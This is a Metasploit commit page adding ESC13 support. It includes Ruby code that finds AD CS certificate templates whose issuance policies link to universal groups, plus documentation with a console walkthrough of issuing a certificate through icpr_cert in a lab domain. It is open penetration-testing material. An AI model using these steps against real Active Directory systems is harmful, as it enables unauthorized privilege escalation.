Land #18892, Add AD CS Updates for ESC13

This PR adds functionality to enable Metasploit users
to be able to exploit the latest ESC technique, ESC13.
This commit is contained in:
Jack Heysel 2024-02-28 07:28:16 -08:00
commit 4b54d43db5
No known key found for this signature in database
GPG Key ID: D373F2C24A2A1E70
7 changed files with 442 additions and 116 deletions

View File

@ -224,6 +224,7 @@ queries:
- adminCount
- managedBy
- groupAttributes
- objectSID
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_GROUP_POLICY_OBJECTS

View File

@ -32,7 +32,7 @@ exclude:
# just-the-docs config
mermaid_enabled: true
mermaid:
version: "9.2.2"
version: "10.8.0"
heading_anchors: true
aux_links_new_tab: true
aux_links:

View File

@ -5,18 +5,39 @@ for testing purposes.
# Introduction to AD CS Vulnerabilities
```mermaid
flowchart TD
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
ESC4(ESC4)
update_template[<i>Update Template</i>]
ESC4 --> update_template
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
ESC3(ESC3)
ESC13(ESC13)
alt_subject[<i>Alternate Subject Issuance</i>]
as_eagent[<i>Enrollment Agent Issuance</i>]
normal[<i>Normal Issuance</i>]
ESC1 --> alt_subject
ESC2 --> as_eagent
ESC3 --> as_eagent
ESC13 --> normal
as_eagent -- use new certificate --> normal
end
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
PKINIT[<i>PKINIT</i>]
end
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
end
alt_subject --> PKINIT
find_vulnerable_templates --> icpr_cert
normal --> PKINIT
update_template --> ESC1
```
The chart above showcases how one can go about attacking four common AD CS
The chart above showcases how one can go about attacking five unique AD CS
vulnerabilities, taking advantage of various flaws in how certificate templates are
configured on an Active Directory Certificate Server.
@ -30,8 +51,7 @@ administrator via Kerberos.
Each certificate template vulnerability that will be discussed here has a ESC code, such
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
SpecterOps published which popularized these certificate template attacks, known as
[Certified
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
attacks that they found they could conduct via misconfigured certificate templates:
@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
- ESC7 - Vulnerable Certificate Authority Access Control
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
Later, another
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
could allow normal domain joined users to abuse certificate template misconfigurations to
gain domain administrator privileges.
Later, additional techniques were disclosed by security researchers:
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
`CertificateMappingMethods` contains `UPN` flag.
- ESC10 - Weak Certificate Mappings -
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement` is set to `0`.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
- [Relaying to AD Certificate Services over
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
key.
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
- ESC13 - Domain escalation via issuance policies with group links.
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
Finally, we have ESC11, which was discovered by Compass Security and described in their
[blog
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
this page only covers exploiting ESC1 to ESC4 at this time.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
which users or groups can use that certificate template to elevate their privileges.
At this time, the module is capable of identifying techniques ESC1 through ESC3.
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
analyzing the objects in LDAP.
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
used to authenticate to Active Directory as the Domain Admin.
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[*] Template: ESC13-Test
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
[*] Vulnerable to: ESC13
[*] Notes: ESC13 groups: ESC13-Group
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * collalabs1-SRV-ADDS01-CA
[*] Server: SRV-ADDS01.collalabs1.local
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
```
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
```
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
SMBDomain => COLLALABS1
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
CA => collalabs1-SRV-ADDS01-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
CERT_TEMPLATE => ESC13-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
RID present in the Groups field of the TGT PAC.
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).

View File

@ -51,14 +51,24 @@ module Msf
def generate_rex_tables(entry, format)
tbl = Rex::Text::Table.new(
'Header' => entry[:dn][0].split(',').join(' '),
'Header' => entry[:dn].first,
'Indent' => 1,
'Columns' => %w[Name Attributes]
'Columns' => %w[Name Attributes],
'ColProps' => { 'Name' => { 'Strip' => false } },
'SortIndex' => -1,
'WordWrap' => false
)
entry.each_key do |attr|
entry.keys.sort.each do |attr|
if format == 'table'
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
next if attr == :dn # Skip over DN entries for tables since DN information is shown in header.
tbl << [attr, entry[attr].first]
if entry[attr].length > 1
entry[attr][1...].each do |additional_attr|
tbl << [ ' \\_', additional_attr]
end
end
else
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
end

View File

@ -0,0 +1,78 @@
# -*- coding: binary -*-
require 'rasn1'.freeze
require 'rex/proto/crypto_asn1/types'
module Rex::Proto::CryptoAsn1
class ObjectId < OpenSSL::ASN1::ObjectId
attr_reader :label, :name
def initialize(*args, label: nil, name: nil)
@label = label
@name = name
super(*args)
end
def eql?(other)
return false unless other.is_a?(self.class)
return false unless other.value == value
true
end
alias == eql?
# Returns whether or not this OID is one of Microsoft's
def microsoft?
@value.start_with?('1.3.6.1.4.1.311.') || @value == '1.3.6.1.4.1.311'
end
end
class OIDs
# see: https://learn.microsoft.com/en-us/windows/win32/api/certenroll/nn-certenroll-ix509extensionenhancedkeyusage
# see: https://www.pkisolutions.com/object-identifiers-oid-in-pki/
OID_ANY_APPLICATION_POLICY = ObjectId.new('1.3.6.1.4.1.311.10.12.1', name: 'OID_ANY_APPLICATION_POLICY')
OID_AUTO_ENROLL_CTL_USAGE = ObjectId.new('1.3.6.1.4.1.311.20.1', name: 'OID_AUTO_ENROLL_CTL_USAGE', label: 'CTL Usage')
OID_DRM = ObjectId.new('1.3.6.1.4.1.311.10.5.1', name: 'OID_DRM', label: 'Digital Rights')
OID_DS_EMAIL_REPLICATION = ObjectId.new('1.3.6.1.4.1.311.21.19', name: 'OID_DS_EMAIL_REPLICATION', label: 'Directory Service Email Replication')
OID_EFS_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.4.1', name: 'OID_EFS_RECOVERY', label: 'File Recovery')
OID_EMBEDDED_NT_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.8', name: 'OID_EMBEDDED_NT_CRYPTO', label: 'Embedded Windows System Component Verification')
OID_ENROLLMENT_AGENT = ObjectId.new('1.3.6.1.4.1.311.20.2.1', name: 'OID_ENROLLMENT_AGENT', label: 'Certificate Request Agent')
OID_IPSEC_KP_IKE_INTERMEDIATE = ObjectId.new('1.3.6.1.5.5.8.2.2', name: 'OID_IPSEC_KP_IKE_INTERMEDIATE', label: 'IP Security IKE Intermediate')
OID_KP_CA_EXCHANGE = ObjectId.new('1.3.6.1.4.1.311.21.5', name: 'OID_KP_CA_EXCHANGE', label: 'Private Key Archival')
OID_KP_CTL_USAGE_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.1', name: 'OID_KP_CTL_USAGE_SIGNING', label: 'Microsoft Trust List Signing')
OID_KP_DOCUMENT_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.12', name: 'OID_KP_DOCUMENT_SIGNING', label: 'Document Signing')
OID_KP_EFS = ObjectId.new('1.3.6.1.4.1.311.10.3.4', name: 'OID_KP_EFS', label: 'Encrypting File System')
OID_KP_KEY_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.11', name: 'OID_KP_KEY_RECOVERY', label: 'Key Recovery')
OID_KP_KEY_RECOVERY_AGENT = ObjectId.new('1.3.6.1.4.1.311.21.6', name: 'OID_KP_KEY_RECOVERY_AGENT', label: 'Key Recovery Agent')
OID_KP_LIFETIME_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.13', name: 'OID_KP_LIFETIME_SIGNING', label: 'Lifetime Signing')
OID_KP_QUALIFIED_SUBORDINATION = ObjectId.new('1.3.6.1.4.1.311.10.3.10', name: 'OID_KP_QUALIFIED_SUBORDINATION', label: 'Qualified Subordination')
OID_KP_SMARTCARD_LOGON = ObjectId.new('1.3.6.1.4.1.311.20.2.2', name: 'OID_KP_SMARTCARD_LOGON', label: 'Smart Card Logon')
OID_KP_TIME_STAMP_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.2', name: 'OID_KP_TIME_STAMP_SIGNING', label: 'Microsoft Time Stamping')
OID_LICENSE_SERVER = ObjectId.new('1.3.6.1.4.1.311.10.6.2', name: 'OID_LICENSE_SERVER', label: 'License Server Verification')
OID_LICENSES = ObjectId.new('1.3.6.1.4.1.311.10.6.1', name: 'OID_LICENSES', label: 'Key Pack Licenses')
OID_NT5_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_NT5_CRYPTO', label: 'OEM Windows System Component Verification')
OID_OEM_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_OEM_WHQL_CRYPTO', label: 'OEM Windows System Component Verification')
OID_PKIX_KP_CLIENT_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.2', name: 'OID_PKIX_KP_CLIENT_AUTH', label: 'Client Authentication')
OID_PKIX_KP_CODE_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.3', name: 'OID_PKIX_KP_CODE_SIGNING', label: 'Code Signing')
OID_PKIX_KP_EMAIL_PROTECTION = ObjectId.new('1.3.6.1.5.5.7.3.4', name: 'OID_PKIX_KP_EMAIL_PROTECTION', label: 'Secure Email')
OID_PKIX_KP_IPSEC_END_SYSTEM = ObjectId.new('1.3.6.1.5.5.7.3.5', name: 'OID_PKIX_KP_IPSEC_END_SYSTEM', label: 'IP Security End System')
OID_PKIX_KP_IPSEC_TUNNEL = ObjectId.new('1.3.6.1.5.5.7.3.6', name: 'OID_PKIX_KP_IPSEC_TUNNEL', label: 'IP Security Tunnel Termination')
OID_PKIX_KP_IPSEC_USER = ObjectId.new('1.3.6.1.5.5.7.3.7', name: 'OID_PKIX_KP_IPSEC_USER', label: 'IP Security User')
OID_PKIX_KP_OCSP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.9', name: 'OID_PKIX_KP_OCSP_SIGNING', label: 'OCSP Signing')
OID_PKIX_KP_SERVER_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.1', name: 'OID_PKIX_KP_SERVER_AUTH', label: 'Server Authentication')
OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping')
OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer')
OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification')
def self.name(value)
value = ObjectId.new(value) if value.is_a?(String)
constants.select { |c| c.start_with?('OID_') }.find{ |c| const_get(c) == value }
end
def self.value(value)
name = self.name(value)
return nil unless name
const_get(name)
end
end
end

View File

@ -121,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
def get_certificate_template
obj = ldap_get(
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pkicertificatetemplate))",
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
)
@ -149,6 +149,35 @@ class MetasploitModule < Msf::Auxiliary
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
end
def get_pki_oids
return @pki_oids if @pki_oids.present?
raw_objs = @ldap.search(
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
filter: '(objectClass=msPKI-Enterprise-OID)'
)
validate_query_result!(@ldap.get_operation_result.table)
return nil unless raw_objs
@pki_oids = []
raw_objs.each do |raw_obj|
obj = {}
raw_obj.attribute_names.each do |attr|
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
end
@pki_oids << obj
end
@pki_oids
end
def get_pki_oid_displayname(oid)
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
return nil unless oid_obj && oid_obj['displayname'].present?
oid_obj['displayname'].first
end
def dump_to_json(template)
json = {}
@ -393,7 +422,30 @@ class MetasploitModule < Msf::Auxiliary
if obj['pkiextendedkeyusage'].present?
print_status(' pKIExtendedKeyUsage:')
obj['pkiextendedkeyusage'].each do |value|
print_status(" * #{value}")
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
print_status(" * #{value} (#{oid.label})")
else
print_status(" * #{value}")
end
end
end
if obj['mspki-certificate-policy'].present?
if obj['mspki-certificate-policy'].length == 1
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
else
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
end
else
print_status(' msPKI-Certificate-Policy:')
obj['mspki-certificate-policy'].each do |value|
if (oid_name = get_pki_oid_displayname(value)).present?
print_status(" * #{value} (#{oid_name})")
else
print_status(" * #{value}")
end
end
end
end
end

View File

@ -2,6 +2,12 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP = 0x00000004
ADS_GROUP_TYPE_SECURITY_ENABLED = 0x80000000
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
def initialize(info = {})
super(
update_info(
@ -18,13 +24,17 @@ class MetasploitModule < Msf::Auxiliary
allows enrollment in and which SIDs are authorized to use that certificate server to
perform this enrollment operation.
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and
ESC13. The module is limited to checking for these techniques due to them being identifiable remotely from a
normal user account by analyzing the objects in LDAP.
},
'Author' => [
'Grant Willcox', # Original module author
'Spencer McIntyre' # ESC13 update
],
'References' => [
'URL' => 'https://posts.specterops.io/certified-pre-owned-d95910965cd2'
[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
[ 'URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ] # ESC13
],
'DisclosureDate' => '2021-06-17',
'License' => MSF_LICENSE,
@ -97,72 +107,42 @@ class MetasploitModule < Msf::Auxiliary
end
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
ldap_connect do |ldap|
validate_bind_success!(ldap)
if !@base_dn.blank?
vprint_status("Using already discovered base DN: #{@base_dn}")
elsif (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
print_warning("Couldn't discover base DN!")
end
end
if @base_dn.blank?
fail_with(Failure::BadConfig, 'No base DN was found or specified, cannot continue!')
end
if base_prefix.blank?
full_base_dn = @base_dn.to_s
else
full_base_dn = "#{base_prefix},#{@base_dn}"
end
begin
filter = Net::LDAP::Filter.construct(raw_filter)
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
end
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
# the SACL flag is set, as we need administrative privileges to retrieve
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
#
# Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,
# the LDAP searchRequest will default to trying to grab all possible attributes of
# the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the
# SACL even if the user is not an administrative user.
#
# Now one may think that we would just get the rest of the data without the SACL field,
# however in reality LDAP will cause that attribute to just be blanked out if a part of it
# cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute
# in these cases if the user doesn't have permissions to read the SACL.
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
controls = []
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
query_result_table = ldap.get_operation_result.table
validate_query_result!(query_result_table, filter)
if returned_entries.blank?
vprint_error("No results found for #{filter}.")
nil
else
returned_entries
end
if base_prefix.blank?
full_base_dn = @base_dn.to_s
else
full_base_dn = "#{base_prefix},#{@base_dn}"
end
rescue Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
rescue Net::LDAP::Error => e
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
begin
filter = Net::LDAP::Filter.construct(raw_filter)
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
end
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
# the SACL flag is set, as we need administrative privileges to retrieve
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
#
# Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,
# the LDAP searchRequest will default to trying to grab all possible attributes of
# the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the
# SACL even if the user is not an administrative user.
#
# Now one may think that we would just get the rest of the data without the SACL field,
# however in reality LDAP will cause that attribute to just be blanked out if a part of it
# cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute
# in these cases if the user doesn't have permissions to read the SACL.
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
controls = []
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
query_result_table = @ldap.get_operation_result.table
validate_query_result!(query_result_table, filter)
return nil if returned_entries.empty?
returned_entries
end
def query_ldap_server_certificates(esc_raw_filter, esc_name)
@ -170,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
if esc_entries.blank?
if esc_entries.empty?
print_warning("Couldn't find any vulnerable #{esc_name} templates!")
return
end
@ -191,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary
if @vuln_certificate_details.key?(certificate_symbol)
@vuln_certificate_details[certificate_symbol][:vulns] << esc_name
else
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {} }
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [] }
end
end
end
@ -300,6 +280,65 @@ class MetasploitModule < Msf::Auxiliary
query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2')
end
def find_esc13_vuln_cert_templates
esc_raw_filter = <<~FILTER
(&
(objectclass=pkicertificatetemplate)
(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))
(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))
(mspki-certificate-policy=*)
)
FILTER
attributes = ['cn', 'description', 'ntSecurityDescriptor', 'msPKI-Certificate-Policy']
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
if esc_entries.empty?
print_warning("Couldn't find any vulnerable ESC13 templates!")
return
end
# Grab a list of certificates that contain vulnerable settings.
# Also print out the list of SIDs that can enroll in that server.
esc_entries.each do |entry|
begin
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0])
rescue IOError => e
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
end
allowed_sids = parse_acl(security_descriptor.dacl) if security_descriptor.dacl
next if allowed_sids.empty?
groups = []
entry['mspki-certificate-policy'].each do |certificate_policy_oid|
policy = get_pki_object_by_oid(certificate_policy_oid)
next if policy['msds-oidtogrouplink'].blank?
# get the group and check it for two conditions
group = get_group_by_dn(policy['msds-oidtogrouplink'].first)
# condition 1: the group must be a universal group
next if (group['grouptype'].first.to_i & ADS_GROUP_TYPE_UNIVERSAL_GROUP) == 0
# condition 2: the group must have no members (this is enforced in the GUI but check it anyways)
next if group['member'].present?
groups << group['samaccountname'].first.to_s
end
next if groups.empty?
note = "ESC13 groups: #{groups.join(', ')}"
certificate_symbol = entry[:cn][0].to_sym
if @vuln_certificate_details.key?(certificate_symbol)
@vuln_certificate_details[certificate_symbol][:vulns] << 'ESC13'
@vuln_certificate_details[certificate_symbol][:notes] << note
else
@vuln_certificate_details[certificate_symbol] = { vulns: ['ESC13'], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [note] }
end
end
end
def find_enrollable_vuln_certificate_templates
# For each of the vulnerable certificate templates, determine which servers
# allows users to enroll in that certificate template and which users/groups
@ -346,6 +385,14 @@ class MetasploitModule < Msf::Auxiliary
print_status(" Distinguished Name: #{hash[:dn]}")
print_status(" Vulnerable to: #{hash[:vulns].join(', ')}")
if hash[:notes].present? && hash[:notes].length == 1
print_status(" Notes: #{hash[:notes].first}")
elsif hash[:notes].present? && hash[:notes].length > 1
print_status(' Notes:')
hash[:notes].each do |note|
print_status(" * #{note}")
end
end
print_status(' Certificate Template Enrollment SIDs:')
for sid in hash[:certificate_enrollment_sids].split(' | ')
@ -367,16 +414,70 @@ class MetasploitModule < Msf::Auxiliary
end
end
def get_pki_object_by_oid(oid)
pki_object = @ldap_mspki_enterprise_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
if pki_object.nil?
pki_object = query_ldap_server(
"(&(objectClass=msPKI-Enterprise-Oid)(msPKI-Cert-Template-OID=#{oid}))",
nil,
base_prefix: 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration'
)&.first
@ldap_mspki_enterprise_oids << pki_object if pki_object
end
pki_object
end
def get_group_by_dn(group_dn)
